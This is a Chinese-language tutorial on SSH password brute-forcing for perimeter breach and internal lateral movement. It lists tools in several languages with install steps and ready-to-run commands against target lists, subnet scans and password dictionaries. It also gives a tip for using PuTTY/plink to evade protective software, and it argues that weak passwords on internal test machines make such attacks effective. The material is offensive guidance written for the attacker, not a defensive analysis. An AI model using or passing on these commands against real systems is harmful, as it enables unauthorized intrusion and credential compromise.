如何針對 SSH 服務的暴力破解
關于 SSH 服務的暴力枚舉,應用場景主要包括外圍的邊界突破以及內網的橫向移動,所以可能需要在多種平臺上使用這樣的工具,本文主要介紹幾款工具,包括 python 版、Go 語言版、C/C++ 版、C# 版等,根據自己的應用場景選擇適合的版本即可。
Python 版
SSH-Brute-Forcer(python 2)
項目地址:
git clone https://github.com/d3vilbug/Brutal_SSH
使用之前需要安裝一個庫:
pip2 install -r requirements.txt
查看幫助信息:
python2 brutal_SSH.py

指定用戶名和密碼,針對單個 IP 的暴力破解:
python2 brutal_SSH.py -i 127.0.0.1 -p 22 -U /root/usernames.txt -P /root/passwords.txt

不支持批量目標檢測,需要自己編寫 bash 腳本來批量調用改項目。
C# 版
C# 主要適用于 Windows 平臺,需要依賴系統上的 .Net Framework 框架。
RedLogin
https://github.com/ParsingTeam/RedLogin
編譯環境 VS 2015 + .net 3.5,在首次打開項目進行編譯時,報錯,缺少 Renci 庫,打開 NuGet,執行:
Install-Package SSH.NET -Version 2020.0.1
安裝成功之后即可編譯成功,首次運行,查看幫助信息:

指定目標列表文件,用戶名文件和密碼文件即可,例如:
Redlogin.exe target.txt username.txt password.txt

編譯好的 relese 版本查看附件中的 RedLogin.V1.exe.zip,使用之前要確保系統上已經安裝好了 .net 3.5,否則無法運行。
PowerShell 版
SSH-PuTTY-login-bruteforcer
驗證 SSH 賬戶密碼使用第三方工具 putty 或者 plink,在企業內部,這兩款 SSH 連接工具是管理員最常用的,對于我們在企業內網進行 SSH 暴力破解時,如果有防護軟件之類的,可以用這種方式來規避。
https://github.com/InfosecMatter/SSH-PuTTY-login-bruteforcer
使用之前首先要準備 putty.exe 或者 plink.exe,與該 PowerShell 腳本放在同一目錄下:

使用方法如下:
PS C:\SSH-PuTTY-login-bruteforcer-master> import-module .\ssh-putty-brute.ps1
ssh-putty-brute [-h ip|ips.txt] [-p port] [-u user|users.txt] [-pw pass|pwdlist.txt]
實操案例:

這種方式雖然慢點,但是適合在做內網橫線移動時使用。
類似的方式,除了 PowerShell 還可以寫 bat 腳本來達到相同的效果。
C/C++ 版
cbrutekrag
項目地址:
https://github.com/matricali/cbrutekrag
安裝方法:
首先安裝 libssh 庫,
rpm -vi http://mirror.centos.org/centos/8/AppStream/x86_64/os/Packages/libssh-devel-0.9.4-2.el8.x86_64.rpm
然后編譯安裝:
make && make install
安裝完成之后,查看幫助信息:
./cbrutekrag -h

參數上針對多個目標進行暴力枚舉,例如:
cbrutekrag -T target.txt -C combinations.txt -o result.log

該工具還支持掃描網段的模式,指定網段,然后掃描其 ssh 服務,然后暴力枚舉:
cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.0.0/24

Go 版
Go 語言的優勢在于跨平臺
sshgobrute
項目地址:
https://github.com/aldenso/sshgobrute
安裝方式:
go get github.com/aldenso/sshgobrute
代碼很簡單,方便大家學習擴展,編寫屬于自己的小工具,查看幫助:

例如:
sshgobrute -file passwords.txt -ip 127.0.0.1 -port 22 -user root
掃描結果如下:

結果比較亂,但是速度還可以,作為參考,擴展一些其他能力還是比較容易的。
crssh
項目地址:
https://github.com/hlts2/crssh
安裝方式:
go get github.com/hlts2/crssh
查看幫助信息:
crssh -h

該工具有兩種暴力破解模式,一種是 -d 使用字典攻擊,一種是 -b 自動生成指定位數的字典,然后進行暴力破解,比如:
1、使用字典攻擊的模式:
crssh root@127.0.0.1 -p 22 -d

用到的字典在項目 godict 中:
https://github.com/hlts2/godict/blob/main/assets/filesystem.go
2、使用指定位數的密碼攻擊(-s 指定密碼位數):
crssh root@127.0.0.1 -p 22 -b -s 2

3、-d 和 -b 參數可以一起使用,比如:
crssh root@127.0.0.1 -p 22 -db -s 2

總結
對于外部公網 IP 開放 SSH 端口的服務,暴力破解的成功率比較低,因為有大量的自動化攻擊工具日夜不斷的掃描,存在弱口令的情況越來越少,通用密碼字典成功的幾率微乎其微,如果針對目標有深入的研究,生成有關系的密碼字典,說不定有成功突破的機會,但是在企業內部網絡,測試開發機非常多,開發測試運維人員,每日工作多次登錄系統,或者認為測試機無關緊要,所以會將密碼設置的比較簡單,也是認為內網不會有人攻擊,所有存在大量的弱口令,在內網橫線移動的時候,枚舉口令是個非常有效的方式。